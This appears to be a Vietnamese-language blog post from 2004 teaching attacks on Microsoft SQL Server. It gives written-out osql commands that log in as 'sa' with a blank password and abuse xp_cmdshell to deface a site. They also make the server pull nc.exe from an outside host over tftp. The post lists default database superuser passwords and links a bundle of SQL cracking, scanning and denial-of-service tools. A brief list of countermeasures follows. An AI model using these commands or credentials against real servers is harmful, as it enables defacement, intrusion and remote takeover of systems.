Ronak 5738203981300410 2004-03-02 00:00:00.000

Có thể deface website bằng cách chạy lệnh sau ( chỉ trong trường hợp database server được install chung với webserver )

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by hack> C:\inetpub\wwwroot\index.html’”

Upload file lên server dùng tftp:
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’”

Để download một file nào đó ta có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện trên server chứ không fải ở máy chúng ta. Nếu ta dùng GET, câu lệnh sẽ thực hiện trên server và sẽ download nc.exe từ máy của chúng ta tới server.

Tools dùng hack các SQL pass có rất nhiều trên web. Ngay cả lỗi tràn bộ đệm cũng có thể được dùng để điêu khiển hoàn toàn một hệ thống với quyền admin. Bài viết này chỉ đề cập một số vấn đề tổng quát về db server.

• Remember the Sapphire worm? Which was released on 25th Jan. The worm which exploited three known vulnerabilities in the SQL servers using 1433/1434 UDP ports.

Phương pháp phòng chống
—————————

<*> Đổi password mặc định của user “sa”
<*> Xoá tất cả các thủ tục được mặc định lưu trữ trên server
<*> Lọc những ký tự như ‘,”,–,: …
<*> Update SQL với những bản mới nhất
<*> Khoá các port SQL bằng cách dùng firewall

Một số website về SQL security”
http://sqlsecurity.com/
http://www.cert.com/

Any comments and good criticism is always accepted at guatehack@linuxmail.org

[End of Original Message]

1. Một số password default cho các super-user:
Oracle sys: oracle

mySQL (Windows) root:null

MS SQL Server sa:null

DB2 dlfm:ibmdb2
2. Collection các tool dùng cho SQL:
SQLTools.zip ———> www.lebuudan.net/SQLTools.zip
Bao gồm:
SQLcracker + passlist + userlist
SQLdos.exe
SQLscanner.exe
SQLping.exe
and more.

3.OSQL.exe nằm trong bộ MSDE của microsoft, nhưng tới 64Mb lận, có ai cần thì tui upload lên. Hông thì thui, host nhỏ xíu hà.

4. ebook/text :
ebook: http://www.hackersplayground.org/books.html
text: http://www.hackersplayground.org/papers.html
SQLinjection: http://www.hackersplayground.org/papers.html


Comments»

No comments yet — be the first.